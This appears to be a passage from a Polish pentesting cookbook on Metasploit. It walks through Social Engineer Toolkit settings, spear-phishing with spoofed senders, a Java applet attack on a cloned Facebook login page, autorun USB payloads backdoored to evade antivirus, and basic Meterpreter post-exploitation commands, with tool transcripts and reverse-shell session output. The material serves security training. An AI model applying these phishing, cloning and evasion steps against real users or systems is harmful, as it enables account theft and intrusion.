Narzędzie ettercap jest uniwersalnym snifferem sieci przełączalnych LAN. Może być ono wykorzystane do przygotowania ataków w sieci LAN, takich jak zatruwanie serwera DNS (ang. DNS poisoning), podszywanie się pod serwer DNS (ang. DNS spoofing) itd. ### Define to use Ettercap or not when using website only - set to ON and OFF // Zdefiniuj, czy chcesz używać narzędzia Ettercap podczas wykonywania ataków WWW. // Możliwe ustawienia to ON i OFF. ETTERCAP=OFF # ### Ettercap home directory (needed for DNS_spoof) // Katalog główny ETTERCAP (wymagany dla DNS_spoof) ETTERCAP_PATH=/usr/share/ettercap ### Specify what interface you want ettercap or DSNiff to listen on, if nothing will default // Określ, na którym interfejsie ma nasłuchiwać Ettercap lub DSNiff. W przypadku // braku wpisu zostanie zastosowana wartość domyślna. ETTERCAP_INTERFACE=eth0
Powyższa opcja konfiguracyjna pakietu SET pozwala włączyć (ON) lub wyłączyć (OFF) narzędzie ettercap w zależności od potrzeb. 2. Serwer pocztowy sendmail jest używany głównie do podszywania się pod adresy e-mail (ang. e-mail spoofing). Ten atak będzie działać tylko wtedy, gdy docelowy serwer pocztowy nie ma zaimplementowanego odwrotnego wyszukiwania adresów e-mail (ang. reverse e-mail lookup). Domyślnie wartość dla serwera sendmail jest ustawiona na OFF, jak widać poniżej: ### SendMail ON or OFF for spoofing email addresser // Włączenie (ON) lub wyłączenie (OFF) serwera SENDMAIL dla ataków podszywania się // pod adresy e-mail. SENDMAIL=OFF
209
Metasploit. Receptury pentestera
3. Poniższe ustawienie dotyczy jednego z najczęściej używanych wektorów ataków przeprowadzanych za pomocą pakietu SET. Ta konfiguracja pozwala na podpisanie złośliwego apletu Java własnym lub dowolnym fałszywym nazwiskiem. Może być użyty do przeprowadzenia ataku opartego na zainfekowanym aplecie Java uruchamianym w przeglądarce internetowej: ### Create sef-signed Java applets and spoof publisher note this requires you to // Stwórz aplet Javy z własnym podpisem i podszyj się pod notkę wydawcy. To wymaga ### Install ---> JAVA 6 JDK, BT5 OR UBUNTU USERS: apt-get install openjdk-6-jdk // zainstalowania środowiska JAVA 6 JDK. W systemie BT5 lub UBUNTU zastosuj polecenie: // apt-get install openjdk-6-jdk. ### If this is not installed it will not work. Can also do: apt-get install sun-java6-jdk // Jeżeli Java nie zostanie zainstalowana, serwer nie będzie działał. Możesz również tego // dokonać, stosując polecenie: apt-get install sun-java6-jdk. SELF_SIGNED_APPLET=OFF
Omówimy ten wektor ataku szczegółowo w kolejnej recepturze, czyli w podrozdziale „Wektory ataku WWW”. Wymaga on zainstalowania w systemie pakietu JDK. Ustawmy tę wartość na ON, ponieważ będziemy omawiać ten atak szczegółowo: SELF_SIGNED_APPLET=ON
4. Flaga AUTO_DETECT jest używana w pakiecie SET do automatycznego wykrywania ustawień sieciowych. Umożliwia to pakietowi SET wykrycie adresu IP, jeśli używasz ustawień NAT czy przekierowania portów (ang. port forwarding). Pozwala to połączyć się z internetem. ### Auto detection of IP address interface utilizing Google, set this ON if you want // Autowykrywanie interfejsu adresu IP za pomocą wyszukiwarki Google. Ustaw wartość ON, // jeśli chcesz. AUTO_DETECT=ON
Kolejna opcja służy do skonfigurowania serwera WWW Apache jako domyślnego serwera dla wektorów ataku WWW. W celu uzyskania lepszej wydajności tego typu ataku zaleca się ustawienie dla tej opcji wartości ON: ### Use Apache instead of the standard Python web server. This will increase the speed // Użyj serwera Apache zamiast standardowych serwerów WWW Python. Zwiększy to szybkość ### of the attack vector // przeprowadzania ataku za pomocą tego wektora. APACHE_SERVER=OFF # ### Path to the Apache web root // Ścieżka do głównego katalogu (root) serwera WWW Apache APACHE_DIRECTORY=/var/www
210
Rozdział 9. • Pakiet narzędzi socjotechnicznych — Social Engineer-Toolkit
5. Poniższe ustawienie jest używane do konfigurowania certyfikatu SSL podczas wykonywania ataku WWW. Zostały jednak zgłoszone liczne błędy i problemy dotyczące opcji WEBATTACK_SSL. Zaleca się więc pozostawienie dla tej flagi wartości OFF: ### Turn onn ssl certificates for set secure communications through web_attack vector // Włącz obsługę certyfikatów SSL w celu zwiększenia bezpieczeństwa komunikacji w czasie // przeprowadzania ataku WWW. WEBATTACK_SSL=OFF
6. Kolejne ustawienie może być wykorzystane do budowy certyfikatu z podpisem własnym, przeznaczonego do ataku WWW. Pojawiać się jednak będzie ostrzeżenie informujące o niezaufanym certyfikacie (ang. untrusted certificate). W związku z tym zaleca się korzystanie z tej opcji rozważnie, aby uniknąć alarmowania użytkownika docelowego: ### Path to the pem file to utilize certificates with the web attack vector (required) // Ścieżka do pliku PEM w celu wykorzystania certyfikatów przy przeprowadzaniu // ataku WWW (wymagane). ### You can create your own utilizing set, just turn on self_signed_cert // Możesz stworzyć do tego celu własny zestaw; wystarczy ustawić SELF_SIGNED_CERT // z wartością ON. ### If your using this flaf, ensure openssl is installed! // Jeżeli używasz tej flagi, upewnij się, że masz zainstalowany Open SSL. SELF_SIGNED_CERT=OFF
7. Następne ustawienie służy do włączania lub wyłączania nasłuchiwacza frameworku Metasploit po przeprowadzeniu ataku : ### Disables automatic listener - turn this off if you don't want a metasploit listener in the background. // Wyłączanie automatycznego nasłuchiwacza. Wyłącz (OFF) tę opcję, // jeżeli nie chcesz używać nasłuchiwacza frameworku Metasploit w tle. AUTOMATIC_LISTENER=ON
8. Kolejna konfiguracja pozwala na korzystanie z pakietu narzędzi SET w sposób samodzielny, bez udziału funkcjonalności frameworku Metasploit. Zaleca się jednak zawsze korzystać z pakietu SET w połączeniu z frameworkiem Metasploit w celu zwiększenia wydajności testów penetracyjnych: ### This will disable the functionality if metasploit is not installed and you just want to use setoolkit or ratte for payloads // Ta opcja wyłączy funkcjonalność frameworku Metasploit, jeżeli ten framework nie jest // zainstalowany, a Ty chcesz używać narzędzia SETOOLKIT lub RATTE przy obsłudze ładunków ### or the other attack vectors. // lub przy przeprowadzaniu innych ataków. METASPLOIT_MODE=ON
Omówiliśmy kilka ważnych ustawień konfiguracyjnych dostępnych dla pakietu SET. Właściwa wiedza na temat pliku konfiguracyjnego set_config jest niezbędna, aby uzyskać pełną kontrolę nad zestawem narzędzi SET.
211
Metasploit. Receptury pentestera
Jak to działa Plik konfiguracyjny set_config jest sercem pakietu SET, ponieważ zawiera wartości domyślne, które są stosowane podczas wykonywania różnych typów ataków. Źle skonfigurowany plik set_config może prowadzić do występowania błędów w trakcie działania, więc istotne jest posiadanie szczegółowej wiedzy na temat tego pliku, aby uzyskać jak najlepsze rezultaty. Na podstawie lektury punktu „Jak to wykonać” można jasno stwierdzić, że zrozumienie zawartości pliku set_config i zarządzanie nią nie jest trudnym zadaniem.
Praca z wektorami ataku spear-phishing Wektor ataku spear-phishing (ang. spear-phishing attack vector) polega na wykorzystaniu złośliwych wiadomości e-mail, które są wysyłane do docelowego czy konkretnego użytkownika (lub użytkowników). Aby sfałszować swój własny adres e-mail, potrzebujesz serwera sendmail. W tym celu w pliku set_config dla opcji SENDMAIL ustaw wartość ON. Jeśli nie masz zainstalowanego serwera sendmail, możesz go pobrać, wpisując następujące polecenie: root@bt:~# apt-get install sendmail Reading package lists... Done
Przygotuj się Zanim przejdziemy do ataku typu phishing, należy wiedzieć, jak działa system e-mail. W celu ograniczenia ataków phishingowych serwery odbiorców poczty elektronicznej mają wdrożone szare listy (ang. graylisting), walidację rekordów SPR (ang. Sender Policy Framework), weryfikację treści i serwerów RBL (ang. Real-time Blackhole List) itd. Te procesy weryfikują, czy określona wiadomość e-mail przybywa z tego samego serwera pocztowego, co domena występująca w adresie nadawcy. Jeżeli np. wiadomość ze sfałszowanym adresem e-mail [email protected] zostaje przysłana z adresu IP 202.145.34.23, to zostanie oznaczona jako szkodliwa, ponieważ adres IP nie należy do serwera Gmail. Dlatego w celu ominięcia tych zabezpieczeń atakujący powinien upewnić się, że adres IP serwera nie znajduje się na liście RBL czy SURBL (ang. Spam URI Real-time Blackhole List). Ponieważ atak spear-phishing opiera się głównie na percepcji użytkownika, atakujący powinien sprawdzić przesyłaną zawartość i upewnić się, że wygląda na tyle wiarygodnie, jak to tylko możliwe. Istnieją dwa rodzaje ataków spear-phishing — oparte na zawartości stron WWW oraz oparte na zawartości ładunku (ang. payload-based content). W poprzednich rozdziałach dowiedzieliśmy się, jak stworzyć ładunek. Niestety, większość systemów poczty elektronicznej nie zezwala na przesyłanie plików wykonywalnych, powinniśmy więc rozważyć zastosowanie osadzonych w treści HTML danej wiadomości e-mail różnych typów ładunków, takich jak aplet Java, pliki Flash, PDF, MS Word czy Excel itd. 212
Rozdział 9. • Pakiet narzędzi socjotechnicznych — Social Engineer-Toolkit
Jak to wykonać Moduł do ataków spear-phishing oferuje trzy różne wektory ataku:
Przeanalizujmy każdy z nich. Wybierając pierwszą opcję, rozpoczniemy przygotowanie do ataku masowego wysyłania wiadomości e-mail (ang. Mass Email Attack). Atak zaczyna się od wyboru ładunku. Można wybrać dowolną lukę w zabezpieczeniach z listy modułów exploitów dostępnych we frameworku Metasploit. Następnie wyświetli się wiersz z możliwością wyboru procedury obsługi, która ustanowi połączenie zwrotne z atakującym. Opcje będą zawierały ustawienie serwera vnc lub wykonanie ładunku oraz uruchomienie wiersza poleceń itd. Kolejne kilka kroków związanych będzie z uruchomieniem serwera pocztowego sendmail, ustawieniem szablonu złośliwego formatu pliku oraz wybraniem ataku za pomocą pojedynczej wiadomości czy masowego wysyłania wiadomości e-mail (rysunek na następnej stronie). Wreszcie pojawi się komunikat, aby wybrać znany serwis poczty e-mail, taki jak Gmail czy Yahoo, albo skorzystać z własnego serwera: 1. Use a gmail Account for your email attack. // Użyj własnego konta e-mail do przeprowadzenia ataku. 2. Use your own server or open relay // Użyj własnego serwera pocztowego lub serwera Open Relay.
213
Metasploit. Receptury pentestera
set:phishing>1 set:phishing> From address (ex: [email protected]):[email protected] // Z adresu e-mail (np. [email protected]):[email protected] set:phishing> Flag this message/s as high priority? [yes|no]:y // Oznaczyć tę wiadomość lub te wiadomości wysokim priorytetem? [tak|nie]
Konfiguracja własnego serwera pocztowego może być bardzo zawodna, ponieważ większość serwisów pocztowych posiada mechanizm odwrotnego wyszukiwania adresów e-mail, który pozwala upewnić się, że wiadomość e-mail została wygenerowana z tej samej domeny, która występuje w jej adresie. Przeanalizujmy kolejny wektor ataku spear-fishing. Tworzenie ładunku formatu pliku jest kolejnym wektorem ataku, w którym możemy wygenerować plik wykorzystujący znaną lukę w zabezpieczeniach i wysłać go do celu za pomocą wiadomości e-mail. Preferowane jest wykorzystywanie luk programu MS Word, ponieważ takie pliki są trudne do wykrycia bez względu na to, czy są one złośliwe, czy nie, więc mogą być wysyłane jako załącznik poczty e-mail. W końcu pojawi się komunikat z pytaniem dotyczącym konfiguracji nasłuchiwacza. Po tym, jak nasłuchiwacz frameworku Metasploit rozpocznie działanie, musimy poczekać, aż użytkownik otworzy plik i ustanowi połączenie zwrotne z systemem atakującego: set:phishing> Setup a listener [yes|no]:y [-] *** [-] * WARNING: Database support has been disabled [-] ***
Powodzenie ataków e-mail zależy od klienta poczty, z którego korzysta użytkownik docelowy. Istotna jest więc odpowiednia analiza tego typu ataku.
214
Rozdział 9. • Pakiet narzędzi socjotechnicznych — Social Engineer-Toolkit
Jak to działa Jak wspomniano wcześniej, wektor ataku spear-phishing jest wektorem ataku socjotechnicznego, którego celem są konkretni użytkownicy. Wiadomość e-mail jest wysyłana z maszyny atakującego do użytkownika docelowego (lub użytkowników). E-mail zawiera szkodliwy załącznik, który wykona eksploatację znanej luki w zabezpieczeniach na maszynie docelowej i zapewni połączenie powłoki z atakującym. Pakiet SET automatyzuje cały proces. Socjotechnika jest w tym przypadku wykorzystywana do nakreślenia scenariusza, który wydaje się dla użytkownika docelowego zupełnie legalnym działaniem, a następnie do podstępnego skłonienia tego użytkownika, aby pobrał i uruchomił szkodliwy plik.
Wektory ataku WWW Wektor ataku WWW dostępny w pakiecie SET oferuje unikatową możliwość wykorzystania wielu ataków tego typu w celu złamania zabezpieczeń maszyny zamierzonej ofiary. Jak dotąd jest to najpopularniejszy wektor ataku pakietu SET. Funkcjonuje podobnie jak narzędzie autopwn, które wysyła wiele exploitów (lub konkretne exploity), przeprowadzając ataki na przeglądarkę maszyny docelowej. Ten wektor oferuje następujące rodzaje ataku:
W tej recepturze omówimy najpopularniejszy wektor ataku, który wykorzystuje aplet Java (ang. Java Applet Attack Method). Zobaczmy, jak przeprowadzić ten atak za pomocą pakietu SET.
215
Metasploit. Receptury pentestera
Przygotuj się Aby przygotować atak z wykorzystaniem apletu Java, musimy wybrać opcję 1. Następnie w kolejnym etapie zostaniemy poproszeni o wybranie konfiguracji strony WWW. Możemy wybrać niestandardowe szablony lub sklonować pełny adres URL. Zobaczmy, jak klonowanie pomoże w przeprowadzeniu ataku:
Jak to wykonać Docelowy użytkownik będzie musiał otworzyć stronę WWW, którą pentester postanowił sklonować. Dlatego pentester powinien rozumieć, że sklonowana strona (strona phishingowa) nie powinna odbiegać od funkcjonalności rzeczywistej witryny. 1. W celu uruchomienia opcji klonowania musimy wpisać adres URL, który chcemy sklonować. Sklonujmy stronę logowania do portalu Facebook: 1. Web Templates 2. Site Cloner 3. Custom Import 4. Return to the main menu Enter number (1-4): 2 SET supports both HTTP and HTTPS Example: http://www.thisisafakesite.com Enter the url to clone: http://www.facebook.com [*] Cloning the website: https://login.facebook.com/login.php [*] This could take a little bit...
216
Rozdział 9. • Pakiet narzędzi socjotechnicznych — Social Engineer-Toolkit
2. Po wykonaniu klonowania będziemy proszeni o wybranie ładunku wraz z backdoorem, który zostanie zainstalowany w maszynie docelowej. 3. Po zakończeniu tych czynności uruchomiony zostanie serwer WWW pakietu SET wraz z konsolą frameworku Metasploit. Konsola msfconsole będzie zarządzać procedurą obsługi (ang. handler), która odbierze połączenie zwrotne po umieszczeniu ładunku w maszynie docelowej. 4. Sklonowany szablon wraz z archiwum JAR znajdziesz w katalogu /pentest/exploits/set/src/web_clone/site/template. Gdy docelowy użytkownik odwiedzi sklonowaną stronę WWW (hostowaną na fałszywej domenie), pojawi się okno apletu Java, które będzie wyglądało jak całkowicie bezpieczny komunikat ostrzeżenia:
5. Gdy docelowy użytkownik kliknie na przycisk Run (uruchom), szkodliwy aplet zostanie uruchomiony, co pozwoli na wykonanie ładunku. Nasłuchiwacz Metasploit otrzyma połączenie zwrotne z maszyną docelową i uzyskamy aktywną sesję Meterpretera: [*] Sending stage (748544 bytes) to 192.168.56.103 [*] Meterpreter session 1 opened (192.168.56.103:443 -> Thu Sep 09 10:06:57 -0400 2010 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 2988 created. Channel 1 created. Microsoft Windows XP [Version 6.1] C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator\Desktop>
217
Metasploit. Receptury pentestera
W podobny sposób możemy przeprowadzić również inne ataki. Można zauważyć, jak łatwo pakiet SET tworzy wektory ataku i daje nam pełną kontrolę nad określonym scenariuszem ataku. Najlepszą cechą pakietu SET jest to, że daje możliwość zaimplementowania własnych modyfikacji i zmian w dowolnym momencie.
Jak to działa Zainfekowanie z użyciem apletu Java jest popularną techniką wykorzystania luki w zabezpieczeniach, która pozwala na uruchomienie apletu poza chronionym zamkniętym środowiskiem, zwanym piaskownicą. Niepodpisane czy niebezpieczne aplety są uruchamiane w środowisku piaskownicy z ograniczonym dostępem do zasobów systemowych. Kiedy złośliwy aplet zostanie dopuszczony do wykonania po komunikacie ostrzegawczym, zyskuje uprawnienia pełnego dostępu do zasobów na maszynie docelowej, ponieważ znajduje się teraz poza środowiskiem piaskownicy. Pozwala to apletowi na wykorzystanie luki w zabezpieczeniach Javy i zdalne uruchomienie kodu. Podobnie inne wektory ataku WWW wykorzystują przeglądarkę do wykonania ataków na system docelowy. Socjotechnika tego ataku znów polega na sztuce kreślenia scenariusza, za pomocą którego można oszukać użytkownika docelowego. Atakujący może stworzyć złośliwy link ukryty pod znaczkiem href lub użyć fałszywego podpisu apletu, aby wyglądał on na całkowicie prawidłowy. Szablony pakietu SET są dobrym źródłem dla projektowania ataków.
Praca z wektorem ataku wieloaspektowego Metoda ataku wieloaspektowego przenosi wektor ataku WWW na wyższy poziom poprzez połączenie kilku ataków w jeden. Pozwala to zebrać kilka exploitów oraz luk w zabezpieczeniach w pojedynczym formacie. Po tym jak plik lub adres URL zostanie otwarty przez użytkownika docelowego, ataki są generowane jeden po drugim, dopóki nie pojawi się raport o powodzeniu któregoś z nich. Pakiet SET automatyzuje proces łączenia różnych ataków w jeden scenariusz wektora ataku WWW. Zobaczmy, jak to się odbywa.
Jak to wykonać Przygotowanie ataku wieloaspektowego rozpoczyna się podobnie jak w przypadku innych wektorów ataków WWW. Zaczynamy od wyboru szablonu, który może być zaimportowany lub sklonowany. Różnica pojawia się w następnym etapie, kiedy można wybrać różne exploity, które mogą być dodane do ataku WWW: Select which attacks you want to use: 1. The Java Applet Attack Method (OFF) 2. The Metasploit Browser Exploit Method (OFF) 3. Credential Harvester Attack Method (OFF) 4. Tabnabbing Attack Method (OFF)
218
Rozdział 9. • Pakiet narzędzi socjotechnicznych — Social Engineer-Toolkit
5. 6. 7. 8. 9.
Man Left in the Middle Attack Method (OFF) Web Jacking Attack Method (OFF) Use them all - A.K.A. 'Tactical Nuke' I'm finished and want proceed with the attack. Return to main menu.
Enter your choice one at a time (hit 8 when finished selecting):
Możemy wybrać kilka ataków, a gdy skończymy, możemy wybrać opcję 8 i wreszcie połączyć wybrane ataki w jeden wektor. Na koniec pojawi się prośba o wybranie ładunku i kodera backdoora.
Jak to działa Po wybraniu różnych ataków pakiet narzędzi SET łączy je z ładunkiem i tworzy jeden zainfekowany link, który należy wysłać użytkownikowi docelowemu za pomocą narzędzi socjotechnicznych. Musimy zbudować szablon, który ma wyglądać na całkowicie prawidłowy dla użytkownika docelowego i skłonić go do otwarcia złośliwego linku. Po jego kliknięciu przez ofiarę przeprowadzane są różne ataki jeden po drugim, dopóki jeden z nich się nie powiedzie. Kiedy luka zostanie wykryta i wyeksploatowana, ładunek zapewni połączenie zwrotne z nasłuchiwaczem frameworku Metasploit.
Generator zainfekowanych nośników danych Generator zainfekowanych nośników danych (ang. infectious media generator) jest stosunkowo prostym wektorem ataku. Pakiet SET tworzy ładunek oparty na frameworku Metasploit, konfiguruje nasłuchiwacz, a następnie generuje folder, który musi zostać zapisany na płycie DVD lub napędzie USB. Jeżeli opcja autoodtwarzania jest włączona, po włożeniu takiego nośnika danych kod zostanie wykonany automatycznie i przejmie kontrolę nad maszyną.
Jak to wykonać Ten wektor ataku opiera się na prostej zasadzie generowania złośliwego pliku wykonywalnego, a następnie zakodowania go za pomocą dostępnych koderów w celu ominięcia ochrony antywirusowej. Oto kilka przykładów dostępnych do wygenerowania ładunków wraz z opisem: Name: 1. Windows Shell Reverse_TCP
Description: Spawn a command shell on victim and send back to attacker. // Tworzy powłokę poleceń na maszynie ofiary i połączenie zwrotne do atakującego. 2. Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker. // Tworzy powłokę Meterpretera na maszynie ofiary i połączenie zwrotne do atakującego.
219
Metasploit. Receptury pentestera
3. Windows Reverse_TCP VNC DLL
Spawn a VNC server on victim and send back to attacker. // Uruchamia serwer VNC na maszynie ofiary i tworzy połączenie zwrotne do atakującego. 4. Windows Bind Shell Execute payload and create an accepting port on remote system. // Uruchamia ładunek i tworzy port akceptujący na zdalnym systemie. 5. Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP Inline // Tworzy powłokę poleceń na systemie Windows x64, uruchamia polecenie wiązania TCP. 6. Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline // Tworzy powłokę // poleceń na systemie Windows x64, uruchamia polecenie połączenia zwrotnego TCP. 7. Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter // Tworzy połączenie zwrotne z atakującym (Windows x64), uruchamia Meterpreter. 8. Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports // Tworzy powłokę // Meterpretera i znajduje port docelowy, przeszukując wiele portów. 9. Import your own executable Specify a path for your own executable // Określ ścieżkę dostępu do własnych plików wykonywalnych. Enter choice (hit enter for default): Below is a list of encodings to try and bypass AV. Select one of the below, 'backdoored executable' is typically the best. 1. avoid_utf8_tolower (Normal) 2. shikata_ga_nai (Very Good) 3. alpha_mixed (Normal) 4. alpha_upper (Normal) 5. call4_dword_xor (Normal) 6. countdown (Normal) 7. fnstenv_mov (Normal) 8. jmp_call_additive (Normal) 9. nonalpha (Normal) 10. nonupper (Normal) 11. unicode_mixed (Normal) 12. unicode_upper (Normal) 13. alpha2 (Normal) 14. No Encoding (None) 15. Multi-Encoder (Excellent) 16. Backdoored Executable (BEST) Enter your choice (enter for default): [-] Enter the PORT of the listener (enter for default): [-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds... [-] Backdoor completed successfully. Payload is now hidden within a legit executable.
220
Rozdział 9. • Pakiet narzędzi socjotechnicznych — Social Engineer-Toolkit
[*] Your attack has been created in the SET home directory folder "autorun" [*] Copy the contents of the folder to a CD/DVD/USB to autorun. [*] The payload can be found in the SET home directory. [*] Do you want to start the listener now? yes or no: yes [*] Please wait while the Metasploit listener is loaded...
Jak to działa Po wygenerowaniu zakodowanego złośliwego pliku nasłuchiwacz frameworku Metasploit rozpoczyna oczekiwanie na połączenia zwrotne. Jedynym ograniczeniem tego wektora ataku jest to, że wymienny nośnik danych musi mieć włączoną opcję autoodtwarzania. W przeciwnym razie będzie wymagane ręczne uruchomienie kodu. Ten rodzaj wektora ataku może być pomocny w sytuacji, kiedy użytkownik docelowy znajduje się za firewallem. Obecnie większość programów antywirusowych wyłącza opcję autoodtwarzania, co z kolei czyni ten typ ataku bezużytecznym. Pentester, stosując ataki oparte na opcji autoodtwarzania, powinien również upewnić się, że dostarczany z nośnikiem danych plik wykonywalny lub PDF zawierający backdoor nie wygląda na zainfekowany. To zwiększy prawdopodobieństwo, że ofiara uruchomi jeden z ładunków.
221
Metasploit. Receptury pentestera
222
10 Korzystanie z Meterpretera W tym rozdziale: Polecenia systemowe Meterpretera Polecenia systemu plików Meterpretera Polecenia sieciowe Meterpretera Poszerzanie uprawnień i migracja procesu Konfiguracja wielu kanałów komunikacji z celem Zacieranie śladów za pomocą polecenia timestomp Polecenie getdesktop oraz przechwytywanie uderzeń klawiatury Korzystanie ze skryptu scraper Meterpretera Technika pass the hash Ustanawianie trwałego połączenia za pomocą backdoorów Pivoting z wykorzystaniem Meterpretera Przekierowanie portów za pomocą Meterpretera Interfejs API i domieszki Meterpretera Dodatek Railgun, czyli Ruby jako broń Dodawanie bibliotek DLL oraz definicji funkcji do narzędzia Railgun Budowanie skryptu Meterpretera „Dezaktywator firewalla systemu Windows” Analizowanie wbudowanego skryptu Meterpretera Zdalne wstrzykiwanie serwera VNC Eksploatowanie podatnej na ataki aplikacji PHP Atak Incognito z wykorzystaniem Meterpretera
Metasploit. Receptury pentestera
Wprowadzenie Jak dotąd bardziej koncentrowaliśmy się na fazie eksploatacji, podczas której próbowaliśmy różnych technik i exploitów, aby złamać zabezpieczenia celu. W tym rozdziale położymy nacisk na fazę poeksploatacyjną, czyli na to, co możemy zrobić po wykonaniu eksploatacji maszyny docelowej. Framework Metasploit oferuje bardzo wszechstronne narzędzie poeksploatacyjne o nazwie Meterpreter, zapewniające wiele funkcji, które mogą ułatwić zadanie eksploracji celu. Użycie Meterpretera podczas fazy poeksploatacyjnej zostało już pokrótce omówione w rozdziale 4. W tym rozdziale omówimy to narzędzie szczegółowo i dowiemy się, jak wykorzystać je jako potencjalne narzędzie fazy poeksploatacyjnej. Dotychczas używaliśmy ładunków do osiągnięcia określonych rezultatów, ale ładunki mają zasadniczą wadę. Działają, tworząc nowe procesy w przejętym systemie. Może to wywołać alarmy programów wirusowych, a ponadto jest łatwe do wykrycia. Ładunek jest również ograniczony do wykonywania określonych zadań lub konkretnych poleceń, które mogą być uruchomione za pomocą powłoki. Z tymi niedogodnościami można poradzić sobie za pomocą Meterpretera. Meterpreter jest interpreterem poleceń dla frameworku Metasploit. Funkcjonuje jak ładunek i działa, wykorzystując wstrzyknięcie do pamięci bibliotek DLL oraz format natywnych obiektów współdzielonych. Uruchamiany jest w kontekście eksploatowanego procesu, więc nie tworzy żadnego nowego procesu. Dzięki temu działa bardziej skrycie i jest bardziej wszechstronny. Przyjrzyjmy się funkcjom Meterpretera. Poniższy uproszczony diagram ilustruje etapy ładowania Meterpretera:
224
Rozdział 10. • Korzystanie z Meterpretera
Najpierw do maszyny docelowej wysyłany jest exploit oraz ładunek pierwszego etapu (ang. first stage payload). Po przeprowadzeniu eksploatacji stager wiąże się z maszyną docelową za pomocą określonego zadania i próbuje ustanowić połączenie zwrotne z interfejsem msfconsole maszyny atakującej, gdzie skonfigurowany jest odpowiedni kanał komunikacji. Potem stager ładuje bibliotekę DLL do konsoli msfconsole, która wysyła ładunek wstrzyknięcia DLL drugiego etapu (ang. second stage DLL injection payload). Po wykonaniu udanego wstrzyknięcia MSF wysyła bibliotekę DLL Meterpretera, aby ustanowić odpowiedni kanał komunikacji. Na koniec Meterpreter ładuje rozszerzenia, takie jak stdapi oraz priv. Wszystkie te rozszerzenia są ładowane za pomocą protokołu TLS/1.0 z wykorzystaniem elementów TLV. Komunikacja Meterpretera z maszyną docelową jest szyfrowana, co jest kolejną istotną zaletą tego ładunku. Podsumujmy, jakie przewagi ma Meterpreter w stosunku do innych konkretnych ładunków: Działa w kontekście eksploatowanego procesu, więc nie tworzy nowego procesu. Może łatwo migrować pomiędzy procesami. W całości rezyduje w pamięci, więc nie zapisuje niczego na dysku. Korzysta z komunikacji szyfrowanej. Wykorzystuje system komunikacji wielokanałowej, więc może działać na kilku
kanałach jednocześnie. Zapewnia platformę do prostego i szybkiego pisania rozszerzeń. Ten rozdział jest w całości poświęcony eksploracji maszyny docelowej za pomocą różnych poleceń i skryptów oferowanych przez Meterpreter. Rozpoczniemy od analizy typowych poleceń Meterpretera. Następnie przejdziemy do konfiguracji różnych kanałów komunikacyjnych za pomocą poleceń sieciowych, przechwytywania uderzeń klawiatury itd. Na koniec omówimy skrypt Meterpretera o nazwie scraper, który pozwala tworzyć pojedynczy katalog zawierający różne fragmenty informacji na temat użytkownika docelowego. W tym rozdziale skoncentrujemy się głównie na tych poleceniach i skryptach, które mogą być pomocne w eksploracji przejętego systemu. Przejdźmy do receptur i poznajmy lepiej działanie Meterpretera.
Polecenia systemowe Meterpretera Zacznijmy korzystać z poleceń Meterpretera, aby zrozumieć ich funkcjonalność. Ponieważ Meterpreter jest narzędziem fazy poeksploatacyjnej, do wykonywania komend będziemy potrzebowali przejętego systemu. Jako cel wykorzystamy maszynę Windows 7, do eksploatacji której wykorzystano lukę w zabezpieczeniach przeglądarki.
225
Metasploit. Receptury pentestera
Przygotuj się Po złamaniu zabezpieczeń maszyny docelowej z systemem Windows 7 otrzymamy aktywną sesję Meterpretera, ponieważ zastosowaliśmy ładunek windows/meterpreter/bind_tcp. Rozpoczniemy od prostego polecenia ?, które wyświetli listę wszystkich dostępnych poleceń Meterpretera wraz z ich krótkim opisem: meterpreter > ?
Jeśli przyjrzysz się tej liście poleceń, zauważysz, że większość z nich jest oczywista.
Jak to wykonać Rozpocznijmy od kilku użytecznych poleceń z grupy komend podstawowych (ang. core commands) oraz systemowych (ang. system commands): Polecenie background jest wykorzystywane do ustawienia działania bieżącej sesji w tle, aby w razie potrzeby można ją było wykorzystać ponownie. To polecenie jest użyteczne, kiedy istnieje kilka aktywnych sesji Meterpretera. Polecenie getuid zwraca nazwę bieżącego użytkownika lub użytkownika, na którego konto włamaliśmy się do systemu docelowego: meterpreter > getuid Server username: DARKLORD-PC\DARKLORD Polecenie getpid zwraca identyfikator procesu, w którym aktualnie działa Meterpreter: meterpreter > getpid Current pid: 4124 Polecenie ps wyświetla listę wszystkich procesów uruchomionych na maszynie
docelowej. Może być pomocne w identyfikacji różnych usług i aplikacji działających w docelowym systemie: meterpreter > ps PID --0 1072 1172
Name ---[System Process] svchost.exe rundll32.exe
Arch ----
Session -------
User ----
x86
1
DARKLORDPC\DARKLORD
Polecenie sysinfo pozwala szybko zweryfikować informacje o systemie,
takie jak wersja systemu operacyjnego oraz architektura: meterpreter > sysinfo Computer : DARKLORD-PC OS : Windows 7 (Build 7264). Architecture : x86 System Language : en_US Meterpreter : x86/win32
226
Rozdział 10. • Korzystanie z Meterpretera
Polecenie shell przenosi nas do wiersza poleceń powłoki. Widzieliśmy już
zastosowanie tego polecenia Meterpretera w kilku poprzednich recepturach: meterpreter > shell Process 4208 created. Channel 1 created. Microsoft Windows [Version 6.1.7264] Copyright (c) 2009 Microsoft Corporation. All rights reserved. Polecenie exit jest wykorzystywane do zakończenia sesji Meterpretera.
Może być również użyte do zamknięcia sesji powłoki i powrotu do Meterpretera. Istnieje kilka użytecznych poleceń systemowych, które można wykorzystać do eksploracji przejętego systemu docelowego oraz uzyskania na jego temat większej ilości informacji. Dostępnych jest też wiele innych poleceń, które możesz poznać i wypróbować samodzielnie. Zauważyłeś prawdopodobnie, jak łatwe jest korzystanie z poleceń Meterpretera i eksplorowanie maszyny docelowej. Bez tego narzędzia byłoby to trudne zadanie. W kolejnej recepturze skoncentrujemy się na niektórych bardziej zaawansowanych poleceniach Meterpretera.
Jak to działa Meterpreter działa jak każdy inny interpreter poleceń. Został zaprojektowany w taki sposób, aby rozumieć różne wywołania parametrów w poleceniach i odpowiadać na nie. Rezyduje w kontekście wyeksploatowanego lub przejętego procesu i tworzy system komunikacji klient-serwer dla maszyny pentestera, tak jak pokazano na poniższym rysunku:
